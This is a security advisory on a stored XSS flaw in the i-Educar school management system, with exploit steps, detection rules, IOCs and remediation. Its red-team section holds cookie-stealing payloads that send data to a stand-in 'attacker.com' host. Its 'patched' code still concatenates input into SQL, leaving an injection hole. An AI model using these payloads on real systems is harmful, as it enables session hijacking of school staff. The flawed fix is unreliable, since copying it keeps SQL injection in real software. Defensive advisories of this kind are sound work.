CVE-2025-10373

Executive Summary

CVE-2025-10373 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in Portabilis i-Educar, a popular open-source school management system used primarily in Brazil. The flaw resides in the /intranet/educar_turma_tipo_cad.php file, where the nm_tipo parameter is not properly sanitized before being stored and later rendered in the browser. An attacker can inject arbitrary JavaScript or HTML, which will execute in the context of any administrator or user who views the affected page. The CVSS score is 3.5 (Low), but the public availability of a proof-of-concept (PoC) and the lack of an official patch elevate the operational risk, especially for educational institutions that may have limited security resources.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct code-level flaw in the PHP application. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector (AV): Network – the attack can be launched remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – the attacker does not need to be authenticated.
• User Interaction (UI): Required – the victim must visit the crafted page or click a link.
• Scope (S): Unchanged – the vulnerability does not affect other components.
• Confidentiality (C): None – no direct data exfiltration.
• Integrity (I): Low – the attacker can modify content within the victim’s session.
• Availability (A): None – no denial of service.

Threat Level: Low (CVSS 3.5) but elevated due to public PoC and no patch. In a real-world scenario, this could be used to steal session cookies, deface pages, or perform phishing attacks against school staff.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the i-Educar application. The file /intranet/educar_turma_tipo_cad.php handles the creation of class types (turma tipo). The nm_tipo parameter is accepted via HTTP POST or GET and is stored in the database without proper sanitization or output encoding. When an administrator later views the list of class types, the unsanitized input is rendered in the HTML, allowing the attacker’s script to execute.

Attack Flow:

1. Attacker sends a POST request to /intranet/educar_turma_tipo_cad.php with nm_tipo=<script>alert('XSS')</script>.
2. The application stores the malicious payload in the database.
3. An administrator navigates to the class type management page (e.g., /intranet/educar_turma_tipo_lst.php).
4. The payload is rendered in the HTML, and the script executes in the administrator’s browser.
5. The attacker can then steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of input validation and output encoding. The application does not use htmlspecialchars() or similar functions when displaying the nm_tipo value.

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar <= 2.10):

// /intranet/educar_turma_tipo_cad.php (simplified)
$nm_tipo = $_POST['nm_tipo'];
// ... store in database without sanitization
$sql = "INSERT INTO turma_tipo (nm_tipo) VALUES ('$nm_tipo')";
// ... later, when displaying:
echo "<td>$nm_tipo</td>"; // No escaping

Patched Code (Hypothetical):

// Patched version
$nm_tipo = htmlspecialchars($_POST['nm_tipo'], ENT_QUOTES, 'UTF-8');
// ... store safely
$sql = "INSERT INTO turma_tipo (nm_tipo) VALUES ('$nm_tipo')";
// ... when displaying:
echo "<td>" . htmlspecialchars($row['nm_tipo'], ENT_QUOTES, 'UTF-8') . "</td>";

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of i-Educar <= 2.10.
• Network access to the application.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/intranet/educar_turma_tipo_cad.php.
2. Send a crafted POST request with a malicious payload.

Example using cURL:

curl -X POST http://target/intranet/educar_turma_tipo_cad.php \
  -d "nm_tipo=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"

3. Wait for an administrator to visit the class type list page.
4. The cookie is exfiltrated to the attacker’s server.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Defender)

Lab Setup for Testing:

• Deploy i-Educar 2.10 in an isolated Docker container.
• Use a web application firewall (WAF) like ModSecurity to test detection.

Detection Steps:

1. Monitor HTTP requests to /intranet/educar_turma_tipo_cad.php for suspicious nm_tipo parameters.
2. Look for <script>, <img>, or onerror patterns in POST data.
3. Check server logs for unusual outbound connections from the web server.

Mitigation in Lab:

• Apply a virtual patch using ModSecurity:

SecRule ARGS:nm_tipo "@rx <script|<img|onerror" "id:1001,phase:2,deny,status:403,msg:'XSS Attempt Blocked'"

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /intranet/educar_turma_tipo_cad.php with nm_tipo containing <script> or onerror tags.
  • Outbound connections to unknown IPs on port 80/443 from the web server.
• File IOCs:
  • Modified entries in the turma_tipo database table containing JavaScript.
• Log IOCs:
  • Web server logs showing alert, document.cookie, or fetch in the nm_tipo parameter.

Detection Engineering

YARA Rule

rule CVE_2025_10373_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10373 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10373"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $param = "nm_tipo=" nocase
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: CVE-2025-10373 XSS Attempt in i-Educar
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in the nm_tipo parameter of i-Educar
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/intranet/educar_turma_tipo_cad.php'
    payload:
        cs-uri-query|contains|all:
            - 'nm_tipo='
            - '<script'
            - 'onerror'
    condition: selection and payload
falsepositives:
    - Legitimate use of script tags in training environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10373 i-Educar XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/intranet/educar_turma_tipo_cad.php"; http_uri; content:"nm_tipo="; http_client_body; pcre:"/<script|onerror|onload|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the nm_tipo parameter using htmlspecialchars() or a similar function before storing and displaying.
2. Output Encoding: Ensure all user-supplied data is HTML-encoded when rendered.
3. WAF Rules: Deploy virtual patches to block XSS payloads.
4. Access Control: Restrict access to the /intranet/ directory to authorized IPs if possible.

Long-Term Fix:

• Upgrade to a patched version once released by Portabilis.
• Conduct a full code review for similar XSS vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If patching is not possible, disable the class type creation functionality or remove the educar_turma_tipo_cad.php file.

Valters IT